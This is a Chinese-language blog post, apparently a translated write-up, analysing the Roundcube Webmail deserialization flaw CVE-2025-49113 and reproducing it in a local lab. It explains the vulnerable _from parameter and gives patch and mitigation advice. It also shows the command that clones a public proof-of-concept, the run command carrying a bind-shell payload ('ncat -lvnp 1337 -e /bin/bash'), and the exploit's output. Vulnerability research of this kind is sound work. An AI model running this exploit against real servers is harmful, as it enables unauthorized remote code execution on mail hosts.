Roundcube Webmail 反序列化漏洞分析(CVE-2025-49113):从原理到复现
Roundcube: CVE-2025–49113
我是谁?
我是 Chetan Chinchulkar(又名 omnipresent),一名网络安全爱好者、软件开发者,以及在 TryHackMe 上排名前 2% 的安全研究员。我热衷于道德黑客、CTF 和软件安全,花时间破坏和修复系统。
介绍
Roundcube 是一个免费且开源的 Webmail 项目。它功能非常丰富,支持超过八十种语言。虽然其内置功能已经十分强大,但通过第三方插件的支持还可以进一步扩展。
它主要需要一个支持 PHP 的 Web 服务器和一个 SQL 服务器来运行。Apache、Nginx 和 Lighttpd 等可以轻松满足 Web 服务器要求;MySQL、MariaDB、PostgreSQL、SQLite 等可以满足数据库要求。这种通用性使 Roundcube 成为 Webmail 的热门选择,尤其是在托管服务提供商中。
最近,在 Roundcube Webmail 中发现了一个漏洞,影响 1.5.10 之前的所有 1.5.x 版本和 1.6.11 之前的所有 1.6.x 版本。该漏洞允许经过身份验证的用户实现远程代码执行(RCE);换句话说,只要拥有 Webmail 的有效凭据,攻击者就足以在主机系统上执行命令。该漏洞的 CVSS 3.x 严重性评分为 9.9(严重)。Roundcube 已经发布了 1.5.10 和 1.6.11 版本,并强烈建议更新。
背景知识
序列化 是将对象(即 PHP、Java 或 Python 中的类实例)转换为可存储或可传输格式的过程。该过程通常用于将对象存储在文件或数据库中,以及通过网络(例如在 API 或 Cookie 中)发送对象。
反序列化漏洞 是一种安全缺陷,发生在应用程序反序列化不受信任或被篡改的数据时。反序列化 是将数据从序列化格式(如字节流或字符串)转换回程序对象的过程。如果此过程不安全,攻击者可以操纵序列化数据以执行任意代码,甚至提升权限等恶意操作。
漏洞发现与原理
Kirill Firsov 在 Roundcube Webmail 中发现了一个反序列化漏洞。他们在自己的网站上分享了导致这一发现的思路和研究过程,非常值得一读。
该漏洞是由于 upload.php 中的 _from 属性 在反序列化之前未对安全值进行彻底检查造成的。
这个漏洞可以在 1.5.10 版本和 1.6.11 版本的提交记录中推断出来。即使你不熟悉 PHP,查看提交行和注释也能很好地了解这个漏洞是如何修复的。在下面的截图中,你可以很容易地推断出,新增的代码行现在会检查 URL 参数 _from 是否包含任何不安全字符。
(原文章此处为截图描述:新增代码行检查
_from参数中的不安全字符)
该漏洞通过不安全的反序列化实现远程代码执行。攻击者仍然需要精心构造一个有效载荷,使其反序列化后能达到预期效果。
实验室环境中的利用
创建一个用户来访问 Webmail:http://localhost/roundcube
- 用户名:
user - 密码:
password123
漏洞利用代码
一个概念验证(PoC)漏洞利用代码由 FearsOff 发布在他们的 GitHub 仓库中。最简单的跟进方式是使用 git clone https://github.com/fearsoff-org/CVE-2025-49113 下载漏洞利用代码。
CVE-2025-49113.php 执行必要的步骤,让你选择的有效载荷在目标服务器上执行。在获取 CSRF 令牌和会话 Cookie 后,这个 PoC PHP 脚本使用提供的用户名和密码进行登录。
该脚本的核心步骤如下:
- 构造一个恶意的序列化 PHP 对象
- 将构造好的对象嵌入到
_from参数中 - 使用恶意的
_from参数向upload.php端点发送 POST 请求 - 接收到的恶意参数将在服务器端被反序列化并执行
执行漏洞利用
要运行 PoC 代码,需要使用以下参数:
php CVE-2025-49113.php target_url username password command
target_url应替换为 Roundcube Webmail 的 URL,即http://localhost:8080/roundcubeusername和password是我们之前创建的用于访问 Webmail 的有效凭据command是你希望在目标服务器上执行的“有效载荷”
我们使用 ncat -lvnp 1337 -e /bin/bash 来设置一个绑定 shell;这将更容易演示漏洞利用并测试其是否成功执行。
在终端上运行此代码:
php CVE-2025-49113.php http://localhost:8080/roundcube user password123 "ncat -lvnp 1337 -e /bin/bash"
我们会得到如下输出:
### Roundcube d 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]
### Retrieving CSRF token and session cookie...
### Authenticating user: user
### Authentication successful
### Command to be executed: ncat -lvnp 1337 -e /bin/bash
### Injecting payload...
### End payload: http://localhost:8080/roundcube/?_from=edit-%21%C7%22...(完整载荷略)...&_action=upload
### Payload injected successfully
### Executing payload...
### Exploit executed successfully!! You might have to run the exploit few times before it executes successfully.
现在,使用生成的载荷链接(包含恶意 _from 参数的长 URL)并在监听 1337 端口的同时在浏览器中打开。
一旦你打开该链接,就会在 nc 上得到一个连接,如图所示。
(原文章此处为截图描述:成功获得 shell 连接)
我们进来了……
缓解措施
该漏洞只需要有效的 Webmail 凭据,并且在默认安装下即可利用。由于它可以轻易地伪装成正常流量,因此该漏洞利用可能很难被检测到。考虑到该漏洞利用的严重性,建议运行 1.5.x 和 1.6.x 版本的用户分别更新到 1.5.10 和 1.6.11。如果由于某些原因无法进行更新,一种缓解措施是阻止 upload.php。
CSD0tFqvECLokhw9aBeRqopJDR93OU7WxHE+knUD6TNwqWrBZ5XIbGmcH7lRJN8HegbcyH8ZTTqpzoFNUsHN521im/Ynaw3NooLNmP3WNRU=
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐



所有评论(0)